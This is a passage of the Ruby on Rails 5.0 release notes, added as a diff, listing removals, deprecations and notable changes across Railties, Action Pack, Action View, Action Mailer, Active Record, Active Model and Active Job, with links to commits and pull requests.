+like Money data.
+
+**Querying:**
+
+When `ActiveRecord::Base.where` is called, it will
+use the type defined by the model class to convert the value to SQL,
+calling `serialize` on your type object.
+
+This gives the objects ability to specify, how to convert values when performing SQL queries.
+
+**Dirty Tracking:**
+
+The type of an attribute is given the opportunity to change how dirty
+tracking is performed.
+
+See its
+[documentation](http://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html)
+for a detailed write up.
+
+
+### Test Runner
+
+A new test runner has been introduced to enhance the capabilities of running tests from Rails.
+To use this test runner simply type `bin/rails test`.
+
+Test Runner is inspired from `RSpec`, `minitest-reporters`, `maxitest` and others.
+It includes some of these notable advancements:
+
+- Run a single test using line number of test.
+- Run multiple tests pinpointing to line number of tests.
+- Improved failure messages, which also add ease of re-running failed tests.
+- Fail fast using `-f` option, to stop tests immediately on occurrence of failure,
+instead of waiting for the suite to complete.
+- Defer test output until the end of a full test run using the `-d` option.
+- Complete exception backtrace output using `-b` option.
+- Integration with `Minitest` to allow options like `-s` for test seed data,
+`-n` for running specific test by name, `-v` for better verbose output and so forth.
+- Colored test output.
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+*   Removed debugger support, use byebug instead. `debugger` is not supported by
+    Ruby
+    2.2. ([commit](https://github.com/rails/rails/commit/93559da4826546d07014f8cfa399b64b4a143127))
+
+*   Removed deprecated `test:all` and `test:all:db` tasks.
+    ([commit](https://github.com/rails/rails/commit/f663132eef0e5d96bf2a58cec9f7c856db20be7c))
+
+*   Removed deprecated `Rails::Rack::LogTailer`.
+    ([commit](https://github.com/rails/rails/commit/c564dcb75c191ab3d21cc6f920998b0d6fbca623))
+
+*   Removed deprecated `RAILS_CACHE` constant.
+    ([commit](https://github.com/rails/rails/commit/b7f856ce488ef8f6bf4c12bb549f462cb7671c08))
+
+*   Removed deprecated `serve_static_assets` configuration.
+    ([commit](https://github.com/rails/rails/commit/463b5d7581ee16bfaddf34ca349b7d1b5878097c))
+
+*   Removed the documentation tasks `doc:app`, `doc:rails`, and `doc:guides`.
+    ([commit](https://github.com/rails/rails/commit/cd7cc5254b090ccbb84dcee4408a5acede25ef2a))
+
+*   Removed `Rack::ContentLength` middleware from the default
+    stack. ([Commit](https://github.com/rails/rails/commit/56903585a099ab67a7acfaaef0a02db8fe80c450))
+
+### Deprecations
+
+*   Deprecated `config.static_cache_control` in favor of
+    `config.public_file_server.headers`.
+    ([Pull Request](https://github.com/rails/rails/pull/19135))
+
+*   Deprecated `config.serve_static_files` in favor of `config.public_file_server.enabled`.
+    ([Pull Request](https://github.com/rails/rails/pull/22173))
+
+*   Deprecated the tasks in the `rails` task namespace in favor of the `app` namespace.
+    (e.g. `rails:update` and `rails:template` tasks are renamed to `app:update` and `app:template`.)
+    ([Pull Request](https://github.com/rails/rails/pull/23439))
+
+### Notable changes
+
+*   Added Rails test runner `bin/rails test`.
+    ([Pull Request](https://github.com/rails/rails/pull/19216))
+
+*   Newly generated applications and plugins get a `README.md` in Markdown.
+    ([commit](https://github.com/rails/rails/commit/89a12c931b1f00b90e74afffcdc2fc21f14ca663),
+     [Pull Request](https://github.com/rails/rails/pull/22068))
+
+*   Added `bin/rails restart` task to restart your Rails app by touching `tmp/restart.txt`.
+    ([Pull Request](https://github.com/rails/rails/pull/18965))
+
+*   Added `bin/rails initializers` task to print out all defined initializers in
+    the order they are invoked by Rails.
+    ([Pull Request](https://github.com/rails/rails/pull/19323))
+
+*   Added `bin/rails dev:cache` to enable or disable caching in development mode.
+    ([Pull Request](https://github.com/rails/rails/pull/20961))
+
+*   Added `bin/update` script to update the development environment automatically.
+    ([Pull Request](https://github.com/rails/rails/pull/20972))
+
+*   Proxy Rake tasks through `bin/rails`.
+    ([Pull Request](https://github.com/rails/rails/pull/22457),
+     [Pull Request](https://github.com/rails/rails/pull/22288))
+
+*   New applications are generated with the evented file system monitor enabled
+    on Linux and macOS. The feature can be opted out by passing
+    `--skip-listen` to the generator.
+    ([commit](https://github.com/rails/rails/commit/de6ad5665d2679944a9ee9407826ba88395a1003),
+    [commit](https://github.com/rails/rails/commit/94dbc48887bf39c241ee2ce1741ee680d773f202))
+
+*   Generate applications with an option to log to STDOUT in production
+    using the environment variable `RAILS_LOG_TO_STDOUT`.
+    ([Pull Request](https://github.com/rails/rails/pull/23734))
+
+*   Enable HSTS with IncludeSudomains header for new applications.
+    ([Pull Request](https://github.com/rails/rails/pull/23852))
+
+*   The application generator writes a new file `config/spring.rb`, which tells
+    Spring to watch additional common files.
+    ([commit](https://github.com/rails/rails/commit/b04d07337fd7bc17e88500e9d6bcd361885a45f8))
+
+*   Added `--skip-action-mailer` to skip Action Mailer while generating new app.
+    ([Pull Request](https://github.com/rails/rails/pull/18288))
+
+*   Removed `tmp/sessions` directory and the clear rake task associated with it.
+    ([Pull Request](https://github.com/rails/rails/pull/18314))
+
+*   Changed `_form.html.erb` generated by scaffold generator to use local variables.
+    ([Pull Request](https://github.com/rails/rails/pull/13434))
+
+*   Disabled autoloading of classes in production environment.
+    ([commit](https://github.com/rails/rails/commit/a71350cae0082193ad8c66d65ab62e8bb0b7853b))
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+*   Removed `ActionDispatch::Request::Utils.deep_munge`.
+    ([commit](https://github.com/rails/rails/commit/52cf1a71b393486435fab4386a8663b146608996))
+
+*   Removed `ActionController::HideActions`.
+    ([Pull Request](https://github.com/rails/rails/pull/18371))
+
+*   Removed `respond_to` and `respond_with` placeholder methods, this functionality
+    has been extracted to the
+    [responders](https://github.com/plataformatec/responders) gem.
+    ([commit](https://github.com/rails/rails/commit/afd5e9a7ff0072e482b0b0e8e238d21b070b6280))
+
+*   Removed deprecated assertion files.
+    ([commit](https://github.com/rails/rails/commit/92e27d30d8112962ee068f7b14aa7b10daf0c976))
+
+*   Removed deprecated usage of string keys in URL helpers.
+    ([commit](https://github.com/rails/rails/commit/34e380764edede47f7ebe0c7671d6f9c9dc7e809))
+
+*   Removed deprecated `only_path` option on `*_path` helpers.
+    ([commit](https://github.com/rails/rails/commit/e4e1fd7ade47771067177254cb133564a3422b8a))
+
+*   Removed deprecated `NamedRouteCollection#helpers`.
+    ([commit](https://github.com/rails/rails/commit/2cc91c37bc2e32b7a04b2d782fb8f4a69a14503f))
+
+*   Removed deprecated support to define routes with `:to` option that doesn't contain `#`.
+    ([commit](https://github.com/rails/rails/commit/1f3b0a8609c00278b9a10076040ac9c90a9cc4a6))
+
+*   Removed deprecated `ActionDispatch::Response#to_ary`.
+    ([commit](https://github.com/rails/rails/commit/4b19d5b7bcdf4f11bd1e2e9ed2149a958e338c01))
+
+*   Removed deprecated `ActionDispatch::Request#deep_munge`.
+    ([commit](https://github.com/rails/rails/commit/7676659633057dacd97b8da66e0d9119809b343e))
+
+*   Removed deprecated
+    `ActionDispatch::Http::Parameters#symbolized_path_parameters`.
+    ([commit](https://github.com/rails/rails/commit/7fe7973cd8bd119b724d72c5f617cf94c18edf9e))
+
+*   Removed deprecated option `use_route` in controller tests.
+    ([commit](https://github.com/rails/rails/commit/e4cfd353a47369dd32198b0e67b8cbb2f9a1c548))
+
+*   Removed `assigns` and `assert_template`. Both methods have been extracted
+    into the
+    [rails-controller-testing](https://github.com/rails/rails-controller-testing)
+    gem.
+    ([Pull Request](https://github.com/rails/rails/pull/20138))
+
+### Deprecations
+
+*   Deprecated all `*_filter` callbacks in favor of `*_action` callbacks.
+    ([Pull Request](https://github.com/rails/rails/pull/18410))
+
+*   Deprecated `*_via_redirect` integration test methods. Use `follow_redirect!`
+    manually after the request call for the same behavior.
+    ([Pull Request](https://github.com/rails/rails/pull/18693))
+
+*   Deprecated `AbstractController#skip_action_callback` in favor of individual
+    skip_callback methods.
+    ([Pull Request](https://github.com/rails/rails/pull/19060))
+
+*   Deprecated `:nothing` option for `render` method.
+    ([Pull Request](https://github.com/rails/rails/pull/20336))
+
+*   Deprecated passing first parameter as `Hash` and default status code for
+    `head` method.
+    ([Pull Request](https://github.com/rails/rails/pull/20407))
+
+*   Deprecated using strings or symbols for middleware class names. Use class
+    names instead.
+    ([commit](https://github.com/rails/rails/commit/83b767ce))
+
+*   Deprecated accessing mime types via constants (eg. `Mime::HTML`). Use the
+    subscript operator with a symbol instead (eg. `Mime[:html]`).
+    ([Pull Request](https://github.com/rails/rails/pull/21869))
+
+*   Deprecated `redirect_to :back` in favor of `redirect_back`, which accepts a
+    required `fallback_location` argument, thus eliminating the possibility of a
+    `RedirectBackError`.
+    ([Pull Request](https://github.com/rails/rails/pull/22506))
+
+*   `ActionDispatch::IntegrationTest` and `ActionController::TestCase` deprecate positional arguments in favor of
+    keyword arguments. ([Pull Request](https://github.com/rails/rails/pull/18323))
+
+*   Deprecated `:controller` and `:action` path parameters.
+    ([Pull Request](https://github.com/rails/rails/pull/23980))
+
+*   Deprecated env method on controller instances.
+    ([commit](https://github.com/rails/rails/commit/05934d24aff62d66fc62621aa38dae6456e276be))
+
+*   `ActionDispatch::ParamsParser` is deprecated and was removed from the
+    middleware stack. To configure the parameter parsers use
+    `ActionDispatch::Request.parameter_parsers=`.
+    ([commit](https://github.com/rails/rails/commit/38d2bf5fd1f3e014f2397898d371c339baa627b1),
+    [commit](https://github.com/rails/rails/commit/5ed38014811d4ce6d6f957510b9153938370173b))
+
+### Notable changes
+
+*   Added `ActionController::Renderer` to render arbitrary templates
+    outside controller actions.
+    ([Pull Request](https://github.com/rails/rails/pull/18546))
+
+*   Migrating to keyword arguments syntax in `ActionController::TestCase` and
+    `ActionDispatch::Integration` HTTP request methods.
+    ([Pull Request](https://github.com/rails/rails/pull/18323))
+
+*   Added `http_cache_forever` to Action Controller, so we can cache a response
+    that never gets expired.
+    ([Pull Request](https://github.com/rails/rails/pull/18394))
+
+*   Provide friendlier access to request variants.
+    ([Pull Request](https://github.com/rails/rails/pull/18939))
+
+*   For actions with no corresponding templates, render `head :no_content`
+    instead of raising an error.
+    ([Pull Request](https://github.com/rails/rails/pull/19377))
+
+*   Added the ability to override default form builder for a controller.
+    ([Pull Request](https://github.com/rails/rails/pull/19736))
+
+*   Added support for API only apps.
+    `ActionController::API` is added as a replacement of
+    `ActionController::Base` for this kind of applications.
+    ([Pull Request](https://github.com/rails/rails/pull/19832))
+
+*   Make `ActionController::Parameters` no longer inherits from
+    `HashWithIndifferentAccess`.
+    ([Pull Request](https://github.com/rails/rails/pull/20868))
+
+*   Make it easier to opt in to `config.force_ssl` and `config.ssl_options` by
+    making them less dangerous to try and easier to disable.
+    ([Pull Request](https://github.com/rails/rails/pull/21520))
+
+*   Added the ability of returning arbitrary headers to `ActionDispatch::Static`.
+    ([Pull Request](https://github.com/rails/rails/pull/19135))
+
+*   Changed the `protect_from_forgery` prepend default to `false`.
+    ([commit](https://github.com/rails/rails/commit/39794037817703575c35a75f1961b01b83791191))
+
+*   `ActionController::TestCase` will be moved to its own gem in Rails 5.1. Use
+    `ActionDispatch::IntegrationTest` instead.
+    ([commit](https://github.com/rails/rails/commit/4414c5d1795e815b102571425974a8b1d46d932d))
+
+*   Rails generates weak ETags by default.
+    ([Pull Request](https://github.com/rails/rails/pull/17573))
+
+*   Controller actions without an explicit `render` call and with no
+    corresponding templates will render `head :no_content` implicitly
+    instead of raising an error.
+    (Pull Request [1](https://github.com/rails/rails/pull/19377),
+    [2](https://github.com/rails/rails/pull/23827))
+
+*   Added an option for per-form CSRF tokens.
+    ([Pull Request](https://github.com/rails/rails/pull/22275))
+
+*   Added request encoding and response parsing to integration tests.
+    ([Pull Request](https://github.com/rails/rails/pull/21671))
+
+*   Add `ActionController#helpers` to get access to the view context
+    at the controller level.
+    ([Pull Request](https://github.com/rails/rails/pull/24866))
+
+*   Discarded flash messages get removed before storing into session.
+    ([Pull Request](https://github.com/rails/rails/pull/18721))
+
+*   Added support for passing collection of records to `fresh_when` and
+    `stale?`.
+    ([Pull Request](https://github.com/rails/rails/pull/18374))
+
+*   `ActionController::Live` became an `ActiveSupport::Concern`. That
+    means it can't be just included in other modules without extending
+    them with `ActiveSupport::Concern` or `ActionController::Live`
+    won't take effect in production. Some people may be using another
+    module to include some special `Warden`/`Devise` authentication
+    failure handling code as well since the middleware can't catch a
+    `:warden` thrown by a spawned thread which is the case when using
+    `ActionController::Live`.
+    ([More details in this issue](https://github.com/rails/rails/issues/25581))
+
+*   Introduce `Response#strong_etag=` and `#weak_etag=` and analogous
+    options for `fresh_when` and `stale?`.
+    ([Pull Request](https://github.com/rails/rails/pull/24387))
+
+Action View
+-------------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+*   Removed deprecated `AbstractController::Base::parent_prefixes`.
+    ([commit](https://github.com/rails/rails/commit/34bcbcf35701ca44be559ff391535c0dd865c333))
+
+*   Removed `ActionView::Helpers::RecordTagHelper`, this functionality
+    has been extracted to the
+    [record_tag_helper](https://github.com/rails/record_tag_helper) gem.
+    ([Pull Request](https://github.com/rails/rails/pull/18411))
+
+*   Removed `:rescue_format` option for `translate` helper since it's no longer
+    supported by I18n.
+    ([Pull Request](https://github.com/rails/rails/pull/20019))
+
+### Notable Changes
+
+*   Changed the default template handler from `ERB` to `Raw`.
+    ([commit](https://github.com/rails/rails/commit/4be859f0fdf7b3059a28d03c279f03f5938efc80))
+
+*   Collection rendering can cache and fetches multiple partials at once.
+    ([Pull Request](https://github.com/rails/rails/pull/18948),
+    [commit](https://github.com/rails/rails/commit/e93f0f0f133717f9b06b1eaefd3442bd0ff43985))
+
+*   Added wildcard matching to explicit dependencies.
+    ([Pull Request](https://github.com/rails/rails/pull/20904))
+
+*   Make `disable_with` the default behavior for submit tags. Disables the
+    button on submit to prevent double submits.
+    ([Pull Request](https://github.com/rails/rails/pull/21135))
+
+*   Partial template name no longer has to be a valid Ruby identifier.
+    ([commit](https://github.com/rails/rails/commit/da9038e))
+
+*   The `datetime_tag` helper now generates an input tag with the type of
+    `datetime-local`.
+    ([Pull Request](https://github.com/rails/rails/pull/25469))
+
+*   Allow blocks while rendering with the `render partial:` helper.
+    ([Pull Request](https://github.com/rails/rails/pull/17974))
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Removals
+
+*   Removed deprecated `*_path` helpers in email views.
+    ([commit](https://github.com/rails/rails/commit/d282125a18c1697a9b5bb775628a2db239142ac7))
+
+*   Removed deprecated `deliver` and `deliver!` methods.
+    ([commit](https://github.com/rails/rails/commit/755dcd0691f74079c24196135f89b917062b0715))
+
+### Notable changes
+
+*   Template lookup now respects default locale and I18n fallbacks.
+    ([commit](https://github.com/rails/rails/commit/ecb1981b))
+
+*   Added `_mailer` suffix to mailers created via generator, following the same
+    naming convention used in controllers and jobs.
+    ([Pull Request](https://github.com/rails/rails/pull/18074))
+
+*   Added `assert_enqueued_emails` and `assert_no_enqueued_emails`.
+    ([Pull Request](https://github.com/rails/rails/pull/18403))
+
+*   Added `config.action_mailer.deliver_later_queue_name` configuration to set
+    the mailer queue name.
+    ([Pull Request](https://github.com/rails/rails/pull/18587))
+
+*   Added support for fragment caching in Action Mailer views.
+    Added new config option `config.action_mailer.perform_caching` to determine
+    whether your templates should perform caching or not.
+    ([Pull Request](https://github.com/rails/rails/pull/22825))
+
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+*   Removed deprecated behavior allowing nested arrays to be passed as query
+    values. ([Pull Request](https://github.com/rails/rails/pull/17919))
+
+*   Removed deprecated `ActiveRecord::Tasks::DatabaseTasks#load_schema`. This
+    method was replaced by `ActiveRecord::Tasks::DatabaseTasks#load_schema_for`.
+    ([commit](https://github.com/rails/rails/commit/ad783136d747f73329350b9bb5a5e17c8f8800da))
+
+*   Removed deprecated `serialized_attributes`.
+    ([commit](https://github.com/rails/rails/commit/82043ab53cb186d59b1b3be06122861758f814b2))
+
+*   Removed deprecated automatic counter caches on `has_many :through`.
+    ([commit](https://github.com/rails/rails/commit/87c8ce340c6c83342df988df247e9035393ed7a0))
+
+*   Removed deprecated `sanitize_sql_hash_for_conditions`.
+    ([commit](https://github.com/rails/rails/commit/3a59dd212315ebb9bae8338b98af259ac00bbef3))
+
+*   Removed deprecated `Reflection#source_macro`.
+    ([commit](https://github.com/rails/rails/commit/ede8c199a85cfbb6457d5630ec1e285e5ec49313))
+
+*   Removed deprecated `symbolized_base_class` and `symbolized_sti_name`.
+    ([commit](https://github.com/rails/rails/commit/9013e28e52eba3a6ffcede26f85df48d264b8951))
+
+*   Removed deprecated `ActiveRecord::Base.disable_implicit_join_references=`.
+    ([commit](https://github.com/rails/rails/commit/0fbd1fc888ffb8cbe1191193bf86933110693dfc))
+
+*   Removed deprecated access to connection specification using a string accessor.
+    ([commit](https://github.com/rails/rails/commit/efdc20f36ccc37afbb2705eb9acca76dd8aabd4f))
+
+*   Removed deprecated support to preload instance-dependent associations.
+    ([commit](https://github.com/rails/rails/commit/4ed97979d14c5e92eb212b1a629da0a214084078))
+
+*   Removed deprecated support for PostgreSQL ranges with exclusive lower bounds.
+    ([commit](https://github.com/rails/rails/commit/a076256d63f64d194b8f634890527a5ed2651115))
+
+*   Removed deprecation when modifying a relation with cached Arel.
+    This raises an `ImmutableRelation` error instead.
+    ([commit](https://github.com/rails/rails/commit/3ae98181433dda1b5e19910e107494762512a86c))
+
+*   Removed `ActiveRecord::Serialization::XmlSerializer` from core. This feature
+    has been extracted into the
+    [activemodel-serializers-xml](https://github.com/rails/activemodel-serializers-xml)
+    gem. ([Pull Request](https://github.com/rails/rails/pull/21161))
+
+*   Removed support for the legacy `mysql` database adapter from core. Most users should
+    be able to use `mysql2`. It will be converted to a separate gem when we find someone
+    to maintain it. ([Pull Request 1](https://github.com/rails/rails/pull/22642),
+    [Pull Request 2](https://github.com/rails/rails/pull/22715))
+
+*   Removed support for the `protected_attributes` gem.
+    ([commit](https://github.com/rails/rails/commit/f4fbc0301021f13ae05c8e941c8efc4ae351fdf9))
+
+*   Removed support for PostgreSQL versions below 9.1.
+    ([Pull Request](https://github.com/rails/rails/pull/23434))
+
+*   Removed support for `activerecord-deprecated_finders` gem.
+    ([commit](https://github.com/rails/rails/commit/78dab2a8569408658542e462a957ea5a35aa4679))
+
+*   Removed `ActiveRecord::ConnectionAdapters::Column::TRUE_VALUES` constant.
+    ([commit](https://github.com/rails/rails/commit/a502703c3d2151d4d3b421b29fefdac5ad05df61))
+
+### Deprecations
+
+*   Deprecated passing a class as a value in a query. Users should pass strings
+    instead. ([Pull Request](https://github.com/rails/rails/pull/17916))
+
+*   Deprecated returning `false` as a way to halt Active Record callback
+    chains. The recommended way is to
+    `throw(:abort)`. ([Pull Request](https://github.com/rails/rails/pull/17227))
+
+*   Deprecated `ActiveRecord::Base.errors_in_transactional_callbacks=`.
+    ([commit](https://github.com/rails/rails/commit/07d3d402341e81ada0214f2cb2be1da69eadfe72))
+
+*   Deprecated `Relation#uniq` use `Relation#distinct` instead.
+    ([commit](https://github.com/rails/rails/commit/adfab2dcf4003ca564d78d4425566dd2d9cd8b4f))
+
+*   Deprecated the PostgreSQL `:point` type in favor of a new one which will return
+    `Point` objects instead of an `Array`
+    ([Pull Request](https://github.com/rails/rails/pull/20448))
+
+*   Deprecated force association reload by passing a truthy argument to
+    association method.
+    ([Pull Request](https://github.com/rails/rails/pull/20888))
+
+*   Deprecated the keys for association `restrict_dependent_destroy` errors in favor
+    of new key names.
+    ([Pull Request](https://github.com/rails/rails/pull/20668))
+
+*   Synchronize behavior of `#tables`.
+    ([Pull Request](https://github.com/rails/rails/pull/21601))
+
+*   Deprecated `SchemaCache#tables`, `SchemaCache#table_exists?` and
+    `SchemaCache#clear_table_cache!` in favor of their new data source
+    counterparts.
+    ([Pull Request](https://github.com/rails/rails/pull/21715))
+
+*   Deprecated `connection.tables` on the SQLite3 and MySQL adapters.
+    ([Pull Request](https://github.com/rails/rails/pull/21601))
+
+*   Deprecated passing arguments to `#tables` - the `#tables` method of some
+    adapters (mysql2, sqlite3) would return both tables and views while others
+    (postgresql) just return tables. To make their behavior consistent,
+    `#tables` will return only tables in the future.
+    ([Pull Request](https://github.com/rails/rails/pull/21601))
+
+*   Deprecated `table_exists?` - The `#table_exists?` method would check both
+    tables and views. To make their behavior consistent with `#tables`,
+    `#table_exists?` will check only tables in the future.
+    ([Pull Request](https://github.com/rails/rails/pull/21601))
+
+*   Deprecate sending the `offset` argument to `find_nth`. Please use the
+    `offset` method on relation instead.
+    ([Pull Request](https://github.com/rails/rails/pull/22053))
+
+*   Deprecated `{insert|update|delete}_sql` in `DatabaseStatements`.
+    Use the `{insert|update|delete}` public methods instead.
+    ([Pull Request](https://github.com/rails/rails/pull/23086))
+
+*   Deprecated `use_transactional_fixtures` in favor of
+    `use_transactional_tests` for more clarity.
+    ([Pull Request](https://github.com/rails/rails/pull/19282))
+
+*   Deprecated passing a column to `ActiveRecord::Connection#quote`.
+    ([commit](https://github.com/rails/rails/commit/7bb620869725ad6de603f6a5393ee17df13aa96c))
+
+*   Added an option `end` to `find_in_batches` that complements the `start`
+    parameter to specify where to stop batch processing.
+    ([Pull Request](https://github.com/rails/rails/pull/12257))
+
+
+### Notable changes
+
+*   Added a `foreign_key` option to `references` while creating the table.
+    ([commit](https://github.com/rails/rails/commit/99a6f9e60ea55924b44f894a16f8de0162cf2702))
+
+*   New attributes
+    API. ([commit](https://github.com/rails/rails/commit/8c752c7ac739d5a86d4136ab1e9d0142c4041e58))
+
+*   Added `:_prefix`/`:_suffix` option to `enum` definition.
+    ([Pull Request](https://github.com/rails/rails/pull/19813),
+     [Pull Request](https://github.com/rails/rails/pull/20999))
+
+*   Added `#cache_key` to `ActiveRecord::Relation`.
+    ([Pull Request](https://github.com/rails/rails/pull/20884))
+
+*   Changed the default `null` value for `timestamps` to `false`.
+    ([commit](https://github.com/rails/rails/commit/a939506f297b667291480f26fa32a373a18ae06a))
+
+*   Added `ActiveRecord::SecureToken` in order to encapsulate generation of
+    unique tokens for attributes in a model using `SecureRandom`.
+    ([Pull Request](https://github.com/rails/rails/pull/18217))
+
+*   Added `:if_exists` option for `drop_table`.
+    ([Pull Request](https://github.com/rails/rails/pull/18597))
+
+*   Added `ActiveRecord::Base#accessed_fields`, which can be used to quickly
+    discover which fields were read from a model when you are looking to only
+    select the data you need from the database.
+    ([commit](https://github.com/rails/rails/commit/be9b68038e83a617eb38c26147659162e4ac3d2c))
+
+*   Added the `#or` method on `ActiveRecord::Relation`, allowing use of the OR
+    operator to combine WHERE or HAVING clauses.
+    ([commit](https://github.com/rails/rails/commit/b0b37942d729b6bdcd2e3178eda7fa1de203b3d0))
+
+*   Added `ActiveRecord::Base.suppress` to prevent the receiver from being saved
+    during the given block.
+    ([Pull Request](https://github.com/rails/rails/pull/18910))
+
+*   `belongs_to` will now trigger a validation error by default if the
+    association is not present. You can turn this off on a per-association basis
+    with `optional: true`. Also deprecate `required` option in favor of `optional`
+    for `belongs_to`.
+    ([Pull Request](https://github.com/rails/rails/pull/18937))
+
+*   Added `config.active_record.dump_schemas` to configure the behavior of
+    `db:structure:dump`.
+    ([Pull Request](https://github.com/rails/rails/pull/19347))
+
+*   Added `config.active_record.warn_on_records_fetched_greater_than` option.
+    ([Pull Request](https://github.com/rails/rails/pull/18846))
+
+*   Added a native JSON data type support in MySQL.
+    ([Pull Request](https://github.com/rails/rails/pull/21110))
+
+*   Added support for dropping indexes concurrently in PostgreSQL.
+    ([Pull Request](https://github.com/rails/rails/pull/21317))
+
+*   Added `#views` and `#view_exists?` methods on connection adapters.
+    ([Pull Request](https://github.com/rails/rails/pull/21609))
+
+*   Added `ActiveRecord::Base.ignored_columns` to make some columns
+    invisible from Active Record.
+    ([Pull Request](https://github.com/rails/rails/pull/21720))
+
+*   Added `connection.data_sources` and `connection.data_source_exists?`.
+    These methods determine what relations can be used to back Active Record
+    models (usually tables and views).
+    ([Pull Request](https://github.com/rails/rails/pull/21715))
+
+*   Allow fixtures files to set the model class in the YAML file itself.
+    ([Pull Request](https://github.com/rails/rails/pull/20574))
+
+*   Added ability to default to `uuid` as primary key when generating database
+    migrations. ([Pull Request](https://github.com/rails/rails/pull/21762))
+
+*   Added `ActiveRecord::Relation#left_joins` and
+    `ActiveRecord::Relation#left_outer_joins`.
+    ([Pull Request](https://github.com/rails/rails/pull/12071))
+
+*   Added `after_{create,update,delete}_commit` callbacks.
+    ([Pull Request](https://github.com/rails/rails/pull/22516))
+
+*   Version the API presented to migration classes, so we can change parameter
+    defaults without breaking existing migrations, or forcing them to be
+    rewritten through a deprecation cycle.
+    ([Pull Request](https://github.com/rails/rails/pull/21538))
+
+*   `ApplicationRecord` is a new superclass for all app models, analogous to app
+    controllers subclassing `ApplicationController` instead of
+    `ActionController::Base`. This gives apps a single spot to configure app-wide
+    model behavior.
+    ([Pull Request](https://github.com/rails/rails/pull/22567))
+
+*   Added ActiveRecord `#second_to_last` and `#third_to_last` methods.
+    ([Pull Request](https://github.com/rails/rails/pull/23583))
+
+*   Added ability to annotate database objects (tables, columns, indexes)
+    with comments stored in database metadata for PostgreSQL & MySQL.
+    ([Pull Request](https://github.com/rails/rails/pull/22911))
+
+*   Added prepared statements support to `mysql2` adapter, for mysql2 0.4.4+,
+    Previously this was only supported on the deprecated `mysql` legacy adapter.
+    To enable, set `prepared_statements: true` in config/database.yml.
+    ([Pull Request](https://github.com/rails/rails/pull/23461))
+
+*   Added ability to call `ActionRecord::Relation#update` on relation objects
+    which will run validations on callbacks on all objects in the relation.
+    ([Pull Request](https://github.com/rails/rails/pull/11898))
+
+*   Added `:touch` option to the `save` method so that records can be saved without
+    updating timestamps.
+    ([Pull Request](https://github.com/rails/rails/pull/18225))
+
+*   Added expression indexes and operator classes support for PostgreSQL.
+    ([commit](https://github.com/rails/rails/commit/edc2b7718725016e988089b5fb6d6fb9d6e16882))
+
+*   Added `:index_errors` option to add indexes to errors of nested attributes.
+    ([Pull Request](https://github.com/rails/rails/pull/19686))
+
+*   Added support for bidirectional destroy dependencies.
+    ([Pull Request](https://github.com/rails/rails/pull/18548))
+
+*   Added support for `after_commit` callbacks in transactional tests.
+    ([Pull Request](https://github.com/rails/rails/pull/18458))
+
+*   Added `foreign_key_exists?` method to see if a foreign key exists on a table
+    or not.
+    ([Pull Request](https://github.com/rails/rails/pull/18662))
+
+*   Added `:time` option to `touch` method to touch records with different time
+    than the current time.
+    ([Pull Request](https://github.com/rails/rails/pull/18956))
+
+*   Change transaction callbacks to not swallow errors.
+    Before this change any errors raised inside a transaction callback
+    were getting rescued and printed in the logs, unless you used
+    the (newly deprecated) `raise_in_transactional_callbacks = true` option.
+
+    Now these errors are not rescued anymore and just bubble up, matching the
+    behavior of other callbacks.
+    ([commit](https://github.com/rails/rails/commit/07d3d402341e81ada0214f2cb2be1da69eadfe72))
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+*   Removed deprecated `ActiveModel::Dirty#reset_#{attribute}` and
+    `ActiveModel::Dirty#reset_changes`.
+    ([Pull Request](https://github.com/rails/rails/commit/37175a24bd508e2983247ec5d011d57df836c743))
+
+*   Removed XML serialization. This feature has been extracted into the
+    [activemodel-serializers-xml](https://github.com/rails/activemodel-serializers-xml) gem.
+    ([Pull Request](https://github.com/rails/rails/pull/21161))
+
+*   Removed `ActionController::ModelNaming` module.
+    ([Pull Request](https://github.com/rails/rails/pull/18194))
+
+### Deprecations
+
+*   Deprecated returning `false` as a way to halt Active Model and
+    `ActiveModel::Validations` callback chains. The recommended way is to
+    `throw(:abort)`. ([Pull Request](https://github.com/rails/rails/pull/17227))
+
+*   Deprecated `ActiveModel::Errors#get`, `ActiveModel::Errors#set` and
+    `ActiveModel::Errors#[]=` methods that have inconsistent behavior.
+    ([Pull Request](https://github.com/rails/rails/pull/18634))
+
+*   Deprecated the `:tokenizer` option for `validates_length_of`, in favor of
+    plain Ruby.
+    ([Pull Request](https://github.com/rails/rails/pull/19585))
+
+*   Deprecated `ActiveModel::Errors#add_on_empty` and `ActiveModel::Errors#add_on_blank`
+    with no replacement.
+    ([Pull Request](https://github.com/rails/rails/pull/18996))
+
+### Notable changes
+
+*   Added `ActiveModel::Errors#details` to determine what validator has failed.
+    ([Pull Request](https://github.com/rails/rails/pull/18322))
+
+*   Extracted `ActiveRecord::AttributeAssignment` to `ActiveModel::AttributeAssignment`
+    allowing to use it for any object as an includable module.
+    ([Pull Request](https://github.com/rails/rails/pull/10776))
+
+*   Added `ActiveModel::Dirty#[attr_name]_previously_changed?` and
+    `ActiveModel::Dirty#[attr_name]_previous_change` to improve access
+    to recorded changes after the model has been saved.
+    ([Pull Request](https://github.com/rails/rails/pull/19847))
+
+*   Validate multiple contexts on `valid?` and `invalid?` at once.
+    ([Pull Request](https://github.com/rails/rails/pull/21069))
+
+*   Change `validates_acceptance_of` to accept `true` as default value
+    apart from `1`.
+    ([Pull Request](https://github.com/rails/rails/pull/18439))
+
+Active Job
+-----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Notable changes
+
+*   `ActiveJob::Base.deserialize` delegates to the job class. This allows jobs
+    to attach arbitrary metadata when they get serialized and read it back when
+    they get performed.
+    ([Pull Request](https://github.com/rails/rails/pull/18260))
+
+*   Add ability to configure the queue adapter on a per job basis without
+    affecting each other.
+    ([Pull Request](https://github.com/rails/rails/pull/16992))
+
+*   A generated job now inherits from `app/jobs/application_job.rb` by default.
+    ([Pull Request](https://github.com/rails/rails/pull/19034))
+
+*   Allow `DelayedJob`, `Sidekiq`, `qu`, `que`, and `queue_classic` to report
+    the job id back to `ActiveJob::Base` as `provider_job_id`.
+    ([Pull Request](https://github.com/rails/rails/pull/20064),
